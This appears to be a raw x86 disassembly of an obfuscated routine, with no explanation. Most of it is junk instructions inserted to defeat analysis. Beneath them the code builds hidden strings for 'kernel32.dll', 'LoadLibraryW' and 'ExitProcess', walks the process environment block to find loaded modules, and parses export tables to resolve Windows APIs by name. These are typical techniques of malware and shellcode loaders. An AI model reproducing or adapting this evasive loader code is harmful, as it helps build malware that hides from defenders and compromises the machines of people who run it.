mov eax, dword [ebp - 0x1ef8]
add eax, dword [ebp - 0x14b8]
mov dword [ebp - 0x3c0], eax
push ebx
jmp 0x46c2cb
sub ebx, 0x5297
xor ebx, 0x119ad
pop ebx
push edx
push edi
add esp, 4
call 0x46c2eb
add byte [edi + 0x38], cl
dec edx
cmp dh, byte [edx]
inc ecx
dec ebp
add esp, 4
add edx, 0x17069
pop edx
mov byte [ebp - 0xb78], 0x52
mov byte [ebp - 0xb77], 0xb9
mov byte [ebp - 0xb76], 0x10
mov byte [ebp - 0xb75], 0x10
mov byte [ebp - 0xb74], 0x10
mov byte [ebp - 0xb73], 0x10
mov byte [ebp - 0xb72], 0x5a
push ebx
jmp 0x46c32f
add ebx, 0xc3fb
pop ebx
push edi
push eax
add esp, 4
add edi, 0x13778
pop edi
push esi
add esi, 0x16ede
xor esi, 0x77a1
pop esi
push edi
sub edi, 0x1759f
pop edi
mov byte [ebp - 0xb80], 0x52
mov byte [ebp - 0xb7f], 0xb9
mov byte [ebp - 0xb7e], 0x20
mov byte [ebp - 0xb7d], 0x20
mov byte [ebp - 0xb7c], 0x20
mov byte [ebp - 0xb7b], 0x20
mov byte [ebp - 0xb7a], 0x5a
push eax
sub eax, 0xbcc1
call 0x46c39e
add byte [edx + eax*2 + 0x3f], al
dec edx
dec esp
inc edi
dec esi
inc eax
add esp, 4
pop eax
push eax
call 0x46c3b1
add byte [ecx], bh
inc ecx
xor bh, byte [ebx + esi]
dec edi
dec esi
inc esi
add esp, 4
add eax, 0x17456
pop eax
mov dword [ebp - 0x1fa4], 0xe
push edx
call 0x46c3d5
add byte [edx], dh
inc ebp
inc edi
xor eax, 0x3e483435
cmp eax, 0xe804c483
or eax, dword [eax]
add byte [eax], al
add byte [esi], bh
dec ebp
inc esp
inc edx
xor esi, dword [0x4f334440]
add esp, 4
jmp 0x46c3f0
sub edx, 0xb5c1
pop edx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb78]
mov dword [ebp - 0x14bc], eax
push eax
push ebx
add esp, 4
add eax, 0xb483
or eax, 0x597a
add eax, 0x161d7
pop eax
push esi
add esi, 0x12928
sub esi, 0x12de2
pop esi
push eax
push edx
add esp, 4
xor eax, 0x110c6
pop eax
mov dword [ebp - 0x1fa8], 0xffffffff
push ecx
push ecx
add esp, 4
and ecx, 0x13ebe
xor ecx, 0x4509
add ecx, 0x49e8
pop ecx
push eax
sub eax, 0x1154d
sub eax, 0x4ae9
sub eax, 0x5da9
or eax, 0x104b5
pop eax
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4cc], ecx
jmp 0x46c497
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push eax
and eax, 0x8817
or eax, 0xa852
pop eax
push eax
push edi
add esp, 4
add eax, 0x16e5
call 0x46c4bf
add byte [ebx + 0x33], cl
dec ecx
cmp esi, dword [edx]
xor eax, 0x83344f44
les eax, [ebx + ebp*8]
add al, 0x4b
dec ebp
cmp dword [ecx + 0x58], ecx
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x46c511
push ebx
xor ebx, 0x8448
call 0x46c4ee
add byte [edx + 0x36], cl
dec edx
dec edx
cmp edi, dword ds:[ebx]
add esp, 4
pop ebx
push ebx
push edx
add esp, 4
or ebx, 0xa66
pop ebx
push edi
add edi, 0xb93f
xor edi, 0xd948
pop edi
jmp 0x46c73f
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push edi
push eax
add esp, 4
sub edi, 0x2f19
add edi, 0x174ce
pop edi
push edi
add edi, 0x1544e
pop edi
push ebx
push ecx
add esp, 4
xor ebx, 0xbccb
xor ebx, 0x83f7
add ebx, 0x162c8
pop ebx
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x46c5c0
push ecx
or ecx, 0x50af
jmp 0x46c58c
pop ecx
push esi
and esi, 0x17ea9
xor esi, 0xaff9
pop esi
push edx
add edx, 0x72cd
or edx, 0x4b37
add edx, 0x17d76
pop edx
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x46c6f1
cmp dword [ebp - 0xc08], 0
jle 0x46c6e5
push ebx
jmp 0x46c5d5
sub ebx, 0x7a5
and ebx, 0x10819
pop ebx
push esi
and esi, 0x307f
add esi, 0x15a99
pop esi
push esi
jmp 0x46c5f8
or esi, 0x5c39
pop esi
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x46c681
push ecx
push ecx
add esp, 4
and ecx, 0xd2c
and ecx, 0x11dca
jmp 0x46c62f
jmp 0x46c638
pop ecx
push edx
and edx, 0x3ced
and edx, 0x540b
pop edx
mov eax, dword [ebp - 0xa68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x46c669
mov dword [ebp - 0x14c0], 1
jmp 0x46c673
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x46c6e5
push esi
and esi, 0x8890
call 0x46c697
add byte [edi], bh
aaa
cmp cl, byte [ebp + 0x4f]
xor bh, byte [esi]
cmp al, 0x41
add esp, 4
xor esi, 0x9ffd
call 0x46c6af
add byte [ebx + 0x4e], cl
xor eax, 0x3435384c
inc edi
dec edx
add esp, 4
pop esi
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x46c5c0
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x46c73a
push edx
push edx
add esp, 4
xor edx, 0x7b4d
add edx, 0x144d0
pop edx
push ebx
call 0x46c71c
add byte [ebx], dh
dec ebx
dec edx
push eax
inc eax
inc ebp
add esp, 4
pop ebx
push esi
push eax
add esp, 4
or esi, 0x10322
pop esi
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x3cc], eax
jmp 0x46c77b
jmp 0x46c488
push ecx
or ecx, 0x13c16
sub ecx, 0x12ec0
pop ecx
push ecx
or ecx, 0x139be
sub ecx, 0xc00e
sub ecx, 0x1595a
pop ecx
push ebx
jmp 0x46c768
pop ebx
push eax
xor eax, 0x6d21
pop eax
mov dword [ebp - 0x3cc], 0
push esi
push ecx
add esp, 4
xor esi, 0xbd71
sub esi, 0xa814
add esi, 0xf0a5
pop esi
push ecx
and ecx, 0xa866
or ecx, 0xaa8
pop ecx
push ecx
push esi
add esp, 4
or ecx, 0x16c7b
pop ecx
push ebx
push eax
add esp, 4
add ebx, 0xe7a6
xor ebx, 0x179e5
add ebx, 0x7d
pop ebx
push eax
push ebx
add esp, 4
jmp 0x46c7d2
or eax, 0x1d8a
xor eax, 0xf2ba
pop eax
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push ebx
sub ebx, 0x52a3
xor ebx, 0x91de
call 0x46c80e
add byte [esi], dh
cmp byte [ebx], bh
cmp eax, dword [ebx + 0x43]
dec esi
add esp, 4
pop ebx
push edi
xor edi, 0xb5a0
xor edi, 0x84fb
or edi, 0x858b
pop edi
mov dword [ebp - 0x1fac], 0xffffffff
push ebx
push edx
add esp, 4
xor ebx, 0x18384
pop ebx
push edx
add edx, 0x2ded
or edx, 0x86f0
or edx, 0xf8f8
pop edx
push esi
push edx
add esp, 4
sub esi, 0x18426
or esi, 0x9e1b
pop esi
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x46c87f
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push esi
and esi, 0x12b71
xor esi, 0x18ad
add esi, 0xfa8
and esi, 0x5d5d
pop esi
push ecx
jmp 0x46c89f
call 0x46c8ad
add byte [ebp + 0x4f], cl
inc ecx
cmp byte [edi], bh
dec edx
xor eax, 0x4c48335
pop ecx
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x46c8f9
push edx
push ecx
add esp, 4
or edx, 0x234e
or edx, 0x7bd4
pop edx
push ebx
sub ebx, 0x11edc
and ebx, 0xada6
add ebx, 0xb07e
pop ebx
push edx
push edx
add esp, 4
xor edx, 0x49fe
pop edx
jmp 0x46cb27
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push eax
push edx
add esp, 4
jmp 0x46c91d
or eax, 0x2b1e
pop eax
push ecx
or ecx, 0x13889
jmp 0x46c932
xor ecx, 0x7d18
pop ecx
push eax
and eax, 0x25e5
pop eax
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x46c9a8
push esi
push edx
add esp, 4
and esi, 0xa4af
or esi, 0x1272
xor esi, 0x127df
or esi, 0xcb94
pop esi
push edx
add edx, 0xc54b
sub edx, 0xa933
add edx, 0xb6a1
pop edx
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x46cad9
cmp dword [ebp - 0xc10], 0
jle 0x46cacd
push edi
add edi, 0x12389
pop edi
push ecx
and ecx, 0x86e4
pop ecx
push edi
push esi
add esp, 4
xor edi, 0x10644
pop edi
push eax
push eax
add esp, 4
call 0x46c9e3
add byte [esi], bh
aaa
dec esi
xor eax, 0x834e3948
les eax, [eax + ebx*2]
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x46ca69
push ecx
push ebx
add esp, 4
call 0x46ca0f
add byte [ebp + 0x4f], cl
dec esp
inc esp
cmp dh, byte [edx]
aas
add esp, 4
pop ecx
push eax
or eax, 0x90cc
pop eax
push ecx
xor ecx, 0x7730
xor ecx, 0x1f81
sub ecx, 0x121c2
pop ecx
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x46ca51
mov dword [ebp - 0x14cc], 1
jmp 0x46ca5b
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x46cacd
push ebx
sub ebx, 0xdb43
jmp 0x46ca78
or ebx, 0xa7be
call 0x46ca8b
add byte [eax + 0x32], cl
cmp byte [edi + 0x3f], cl
inc eax
aas
add esp, 4
pop ebx
push esi
push eax
add esp, 4
or esi, 0x5371
pop esi
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x46c9a8
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x46cb22
push ebx
push ebx
add esp, 4
sub ebx, 0x3f7b
add ebx, 0x14fd2
xor ebx, 0x6d29
pop ebx
push edi
push edx
add esp, 4
jmp 0x46cb07
add edi, 0x119b0
and edi, 0x775e
pop edi
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x46cb63
jmp 0x46c870
push esi
push eax
add esp, 4
or esi, 0xd591
pop esi
push esi
push eax
add esp, 4
and esi, 0x93c3
or esi, 0xfeec
add esi, 0x14542
sub esi, 0x1639d
pop esi
push edx
xor edx, 0x5ad9
pop edx
mov dword [ebp - 0xa5c], 0
push ecx
push edi
add esp, 4
and ecx, 0x43c6
add ecx, 0x10c3a
call 0x46cb80
add byte [esi], bh
push eax
dec eax
dec ebp
inc esp
cmp al, 0x83
les eax, [eax + ebp*8]
or dword [eax], eax
add byte [eax], al
add byte [esi], dh
cmp al, byte [esi + 0x3c]
cmp dword [esp + esi], edi
cmp al, 0x83
les eax, [ecx + ebx*2]
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push edi
push edx
add esp, 4
sub edi, 0x10905
or edi, 0x9e70
add edi, 0x5d40
pop edi
push esi
and esi, 0x118ae
or esi, 0x18543
add esi, 0x23b
or esi, 0x7681
pop esi
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push ecx
add ecx, 0x13eab
sub ecx, 0x2e26
xor ecx, 0xd0d0
pop ecx
push eax
xor eax, 0x109c2
call 0x46ccdd
add byte [edi], dh
dec edi
dec ecx
xor al, 0x40
dec ebp
inc esp
add esp, 4
jmp 0x46cce5
pop eax
push esi
call 0x46ccf4
add byte [0x3b3b4f47], bh
xor al, 0x42
add esp, 4
pop esi
push edx
or edx, 0xa375
pop edx
push edx
push ebx
add esp, 4
or edx, 0xcbc8
add edx, 0x17db2
add edx, 0x139e4
pop edx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push esi
push ebx
add esp, 4
call 0x46cd54
add byte [edi + eax*2 + 0x38], al
cmp dword [esi], edi
inc eax
inc ebx
inc edx
inc ebp
add esp, 4
pop esi
push edx
and edx, 0x2964
or edx, 0xbc85
xor edx, 0x15359
sub edx, 0xa702
pop edx
cmp dword [ebp - 0x14d4], 0
jne 0x46cd8a
mov dword [ebp - 0x2e0], 0
jmp 0x46d046
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push ecx
push edx
add esp, 4
add ecx, 0xf838
jmp 0x46cdac
pop ecx
push edi
push ecx
add esp, 4
sub edi, 0x5586
jmp 0x46cdbd
call 0x46cdca
add byte [ebx], dh
dec edi
cmp eax, 0x4f413338
add esp, 4
pop edi
cmp dword [ebp - 0xc20], 0
jne 0x46cde6
mov dword [ebp - 0x2e0], 0
jmp 0x46d046
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push edi
push ebx
add esp, 4
call 0x46ce05
add byte [ebp + 0x42], al
dec esp
inc edi
xor al, 0x50
inc edi
inc eax
add esp, 4
xor edi, 0xf6a2
pop edi
push esi
push esi
add esp, 4
or esi, 0x9a86
jmp 0x46ce23
pop esi
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push eax
push eax
add esp, 4
jmp 0x46ce5e
xor eax, 0x592e
pop eax
push ebx
sub ebx, 0x232b
call 0x46ce79
add byte [esi], bh
xor al, 0x3a
dec eax
dec ebx
inc edx
xor al, byte [ebx - 0x3c7efb3c]
sbb byte [ebx], dh
add byte [eax], al
pop ebx
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push edx
add edx, 0x166c2
xor edx, 0x13042
pop edx
push ebx
and ebx, 0x9a72
add ebx, 0x1ce4
call 0x46cf05
add byte [eax], bh
dec ecx
cmp byte [esi], dh
cmp dword [eax + edx*2 - 0x7d], ecx
les eax, [ecx + eax*4]
retf
push edx
xor edx, 0x12f2
call 0x46d05c
add byte [0x413b4a3d], dh
dec ebp
xor eax, 0xc4833848
add al, 0x81
dec esp
adc al, byte [eax]
add al, ch
or al, byte [eax]
add byte [eax], al
add byte [edx + 0x4b], al
cmp byte [eax + edi], bh
inc ebp
inc edx
inc eax
dec edx
add esp, 4
pop edx
cmp dword [ebp - 0x2e0], 0
jne 0x46d991
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push esi
push esi
add esp, 4
sub esi, 0x16534
pop esi
push ebx
push ebx
add esp, 4
xor ebx, 0xdf88
add ebx, 0x92a4
pop ebx
push edi
xor edi, 0x15ae
or edi, 0x811f
xor edi, 0xbd32
pop edi
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push esi
push esi
add esp, 4
call 0x46d1e5
add byte [eax], bh
dec ebp
cmp cl, byte [edi + 0x4c]
dec ebp
dec ebp
xor eax, 0x8104c483
out dx, al
cmp al, byte [ebx + 0x505e0001]
push edx
add esp, 4
jmp 0x46d1fd
add eax, 0xc0ae
pop eax
cmp dword [ebp - 0x14dc], 0
jne 0x46d21c
mov dword [ebp - 0x6ec], 0
jmp 0x46d4d8
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push ebx
push edx
add esp, 4
jmp 0x46d239
xor ebx, 0x8694
xor ebx, 0xe7b3
pop ebx
push ebx
add ebx, 0x12965
pop ebx
push ecx
push edi
add esp, 4
and ecx, 0xf670
sub ecx, 0x5496
pop ecx
cmp dword [ebp - 0xc2c], 0
jne 0x46d278
mov dword [ebp - 0x6ec], 0
jmp 0x46d4d8
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push esi
push ebx
add esp, 4
xor esi, 0x10c60
and esi, 0xb2bc
pop esi
push edx
push ecx
add esp, 4
sub edx, 0x102d
pop edx
push esi
push ecx
add esp, 4
add esi, 0x11bdd
pop esi
push eax
or eax, 0xe67f
pop eax
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push edx
push ecx
add esp, 4
add edx, 0xf58e
call 0x46d2fb
add byte [edx + 0x47], al
cmp bh, byte [0x83494934]
les eax, [eax + ebp*8]
or byte [eax], al
add byte [eax], al
add byte [eax + 0x39], cl
cmp byte [esi + 0x42], cl
dec esi
aaa
add esp, 4
and edx, 0x10d28
pop edx
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push edx
push ecx
add esp, 4
and edx, 0xb10c
xor edx, 0x1358a
or edx, 0xe240
xor edx, 0x8039
pop edx
push edx
and edx, 0x3e57
and edx, 0xa87e
and edx, 0x4dcc
pop edx
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x46d3c4
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x46d427
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x46d2e3
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x46d2e3
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x46d411
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x46d41b
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x46d470
push eax
push edx
add esp, 4
add eax, 0x16e9f
and eax, 0x13869
sub eax, 0x9394
pop eax
push ebx
or ebx, 0x386c
xor ebx, 0x58c2
pop ebx
push edi
push edx
add esp, 4
add edi, 0x69c4
pop edi
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x46d4d8
push esi
call 0x46d47e
add byte [edi + 0x4f], al
dec ecx
push eax
dec edx
add esp, 4
pop esi
push ecx
call 0x46d492
add byte [ebp + 0x46], al
inc esi
cmp byte [esi], dh
inc edx
dec ecx
dec ebx
add esp, 4
or ecx, 0xa140
or ecx, 0x109d6
pop ecx
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x46d4ce
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x46d284
mov dword [ebp - 0x6ec], 0
push esi
push esi
add esp, 4
sub esi, 0x43fa
pop esi
push esi
add esi, 0xc113
pop esi
push edx
push ebx
add esp, 4
or edx, 0x1748d
and edx, 0x60dc
xor edx, 0x9dde
jmp 0x46d509
pop edx
cmp dword [ebp - 0x6ec], 0
jne 0x46d554
push eax
push eax
add esp, 4
xor eax, 0x11f1c
sub eax, 0x12deb
add eax, 0x174d1
pop eax
push ecx
call 0x46d53b
add byte [ebp + 0x47], cl
inc esi
dec ebp
inc ebx
inc ebx
inc ebp
dec edi
cmp al, 0x83
les eax, [ecx + eax*4]
int1
lodsb al, byte [esi]
clc
add byte [eax], al
pop ecx
mov dword [ebp - 0x738], 0
jmp 0x46e07b
push esi
and esi, 0xad5b
call 0x46d56a
add byte [edx], dh
dec ebx
dec edx
inc edi
cmp byte [eax + 0x3d], cl
cmp eax, dword [ebx + 0x525e04c4]
push edx
add esp, 4
add edx, 0xb82f
add edx, 0x1b28
and edx, 0x12b5a
pop edx
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x46d5c5
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x46d8b6
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x46d5ed
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x46d8b6
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x46d61f
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x46d8b6
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x46d644
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x46d8b6
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x46d69e
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x46d8aa
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x46d70e
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x46d7c0
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x46d7c0
push esi
add esi, 0x204c
jmp 0x46d747
pop esi
push esi
and esi, 0x2c10
jmp 0x46d755
pop esi
push edx
push ebx
add esp, 4
sub edx, 0xa215
jmp 0x46d766
add edx, 0x1421f
pop edx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x46d7b2
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x46d7b9
jmp 0x46d6ff
jmp 0x46d7c0
push edi
and edi, 0x16af7
pop edi
push ecx
xor ecx, 0x159c3
call 0x46d7dc
add byte [ebp + 0x35], al
inc edx
xor eax, dword [ebx + 0x49]
inc eax
add esp, 4
pop ecx
push edi
push esi
add esp, 4
or edi, 0x6662
xor edi, 0x12fd7
pop edi
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x46d81f
mov dword [ebp - 0xc30], 0
jmp 0x46d88e
push edi
push esi
add esp, 4
or edi, 0x1596d
or edi, 0x1017e
xor edi, 0x126ce
xor edi, 0x17fec
pop edi
push esi
xor esi, 0x13f18
pop esi
push ecx
push eax
add esp, 4
jmp 0x46d850
pop ecx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x46d884
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x46d88e
mov dword [ebp - 0xc30], 1
